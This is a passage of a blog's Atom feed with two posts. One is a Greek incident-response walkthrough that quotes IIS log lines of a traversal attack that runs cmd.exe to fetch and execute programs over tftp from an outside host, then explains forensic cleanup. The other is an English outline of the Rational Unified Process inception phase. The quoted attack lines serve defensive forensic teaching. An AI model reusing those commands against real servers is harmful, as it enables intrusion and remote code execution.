style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Στα &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;logs&lt;/span&gt;&lt;span style="color:black;"&gt; του &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;IIS&lt;/span&gt;&lt;span style="color:black;"&gt; βρήκα τα τις εξής γραμμές:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;GET /scripts/../../windows/system32/cmd.exe /c+tftp+192.168.227.130+get+mysqld.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;GET /scripts/../../windows/system32/cmd.exe /c+tftp+192.168.227.130+get+&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt; MScThesisForensicsTools&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;.dll&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;GET /scripts/../../windows/system32/cmd.exe /c+tftp+192.168.227.130+get+ap.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;GET /scripts/../../windows/system32/cmd.exe /c+tftp+192.168.227.130+get+svc.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;GET /scripts/../../windows/system32/cmd.exe /c+ap.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Γράφωντας την εντολή &lt;/span&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;dir&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt; /&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;s&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;ap&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;exe&lt;/span&gt;&lt;/b&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;για την αναζήτηση του ύποπτου αρχείου , βρέθηκε στο κατάλογο&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;c&lt;/span&gt;&lt;span style="color:black;"&gt;:\&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;intepubs&lt;/span&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;scripts&lt;/span&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style=";font-size:10;color:black;"  &gt;Σημείωση: Εργαλεία για έλεγχο των αναβαθμίσεων και της σημασίας τους για το σύστημα&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style=";font-size:10;color:black;"   lang="EN-US"&gt;Microsoft baseline security analyzer (MSBA)&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style=";font-size:10;color:black;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Ελέγχοντας τις ημερομηνίες και τις ώρες των αρχείων που κατέβηκαν απο τα &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;logs&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;με τις αντίστοιχες ημερομηνίες και ώρες των&lt;span style=""&gt;  &lt;/span&gt;αρχείων στον κατάλογο &lt;/span&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;c&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;:\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;program&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;files&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;xampp&lt;/span&gt;&lt;/i&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;παρατηρήθηκε ότι ήταν οι ίδιες.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Επίσης&lt;span style=""&gt;  &lt;/span&gt;κοιτώντας στη &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;registry&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;στο κλείδι &lt;/span&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;HKEY&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;_&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;LOCAL&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;_&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;MACHINE&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Software&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Microsoft&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Windows&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;CurrentVersion&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Run&lt;/span&gt;&lt;/i&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;βρέθηκε το κλειδί&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;antivirus&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;με τιμή &lt;/span&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;c&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;:\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;program&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;files&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;xampp&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;\&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;apache&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;exe&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Στη συνέχεια έγινε &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;dump&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;της μνήμης που χρησιμοποιούσαν τα παραπάνω &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;processes&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;με την ακόλουθη εντολή:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Pmdump 2360 &gt; g:\mysqld.dmp (To disk/partition g &lt;/span&gt;&lt;span style="color:black;"&gt;θα&lt;/span&gt;&lt;span style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;μπορούσε&lt;/span&gt;&lt;span style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;να&lt;/span&gt;&lt;span style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;είναι&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; network drive or usbstick)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Pmdump &lt;span style=""&gt; &lt;/span&gt;2180 &gt; g:\apache.dmp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Pmdump &lt;span style=""&gt; &lt;/span&gt;5490 &gt; g:\service.dmp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;καθώς αν γινόταν όλη η μνήμη &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;dump&lt;/span&gt;&lt;span style="color:black;"&gt; θα υπήρχε τεράστιος όγκος&lt;span style=""&gt;  &lt;/span&gt;πληροφορίας που θα ήθελε πολύ χρόνο για ανάλυση. (και στη προκειμένη περίπτωση δεν χρειαζόταν)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Έχοντας αναλύσει και βρεί πώς έγινε και τι έγινε (κοιτώντας το &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;log&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;netstat&lt;/span&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;ex&lt;/span&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;etxt&lt;/span&gt;&lt;span style="color:black;"&gt;)&lt;span style=""&gt;  &lt;/span&gt;μπορούμε να βρούμε και απο ποιόν έγινε ,αν είναι ακόμα συνδεδεμένος.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Αν θέλουμε παραπάνω πληροφορίες , για τα αρχεία και &lt;span style=""&gt; &lt;/span&gt;τι κάνει το καθένα ξεχωριστά θα πρέπει να μπούμε σε βάθος επιπέδου γλώσσας &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;assembly&lt;/span&gt;&lt;span style="color:black;"&gt; για τα &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;native&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;binaries&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;όπως το &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;mysqld&lt;/span&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;exe&lt;/span&gt;&lt;span style="color:black;"&gt; (&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;netcat&lt;/span&gt;&lt;span style="color:black;"&gt;) ή σε &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Microsoft&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Intermediate&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Language&lt;/span&gt;&lt;span style="color:black;"&gt; (&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;MSIL&lt;/span&gt;&lt;span style="color:black;"&gt;) όπως το &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;apache&lt;/span&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;exe&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;που είναι σε .&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;NET&lt;/span&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Στη συνέχεια και αφού κρατήσουμε αντίγραφο των αρχείων και κάνουμε &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;image&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;to&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;σκληρό δίσκο σβήνουμε τα (ύποπτα) αρχεία, κλείνουμε την υπηρεσία &lt;/span&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;Windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;Sec&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;CenterSvc&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;.&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;exe&lt;/span&gt;&lt;/i&gt;&lt;span style="color:black;"&gt; και την σβήνουμε απο υπηρεσία. Τέλος διαγράφουμε&lt;span style=""&gt;  &lt;/span&gt;απο τη &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;registry&lt;/span&gt;&lt;span style="color:black;"&gt; τηνη τιμή &lt;/span&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;antivirus&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Επόμενο βήμα είναι να ανοίξουμε τον εξυπηρετητή, να φορτόσουμε όλα τα &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;patches&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;and&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;updates&lt;/span&gt;&lt;span style="color:black;"&gt; , επιβεβαιώνοντας ότι έχουμε αφαιρέσει τα ύποπτα αρχεία απο το σύστημα.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Τέλος, μπορούμε να πάρουμε τα αρχεια για περαιτέρω ανάλυση έχοντας λύσει &lt;span style=""&gt; &lt;/span&gt;το αρχίκο&lt;span style=""&gt;  &lt;/span&gt;πρόβλημα στον εξυπηρετητη και έχοντας μαζέψει αρκετές πληροφορίες για ανάλυση.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-8013262740943232725?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/8013262740943232725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=8013262740943232725' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/8013262740943232725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/8013262740943232725'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2009/01/incident-preparation-responce.html' title='Incident preparation &amp; responce'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-291869171501176358</id><published>2007-12-23T11:17:00.001+01:00</published><updated>2007-12-23T11:26:00.101+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rational unified process'/><category scheme='http://www.blogger.com/atom/ns#' term='inception phase'/><category scheme='http://www.blogger.com/atom/ns#' term='rup'/><title type='text'>Rational Unified Process</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;span style="line-height: 115%;" lang="EN-US"&gt;Inception Phace (Briefly)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;1.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Understand what to build&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Determine the vision, the scope , of the system , the system boundaries, that is , whats inside and what is outside the system, Identify who wants to use the system, and what is worth to them&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 108pt; text-indent: -108pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;&lt;span style=""&gt;                                                              &lt;/span&gt;i.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Agree on a high level vision&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 108pt; text-indent: -108pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;&lt;span style=""&gt;                                                            &lt;/span&gt;ii.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Provide a “mile-wide, inch-deep” description of the system(V. Briefly)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 108pt; text-indent: -108pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;&lt;span style=""&gt;                                                          &lt;/span&gt;iii.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Detail key actors and use cases&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;2.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Provide a vision document&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;The benefits and opportunities that will be provided by building the application &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;b.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;The problems that the application will solve&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;c.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Who the target users are&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;d.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;At a very high level, what the product will do, expressed as high-level features or in terms of outlining a few key use cases.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;e.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Some of the most essential nonfunctional requirements such as supported OS’s , database support, required reliability, scalability, and quality as well as licensing and pricing if that is 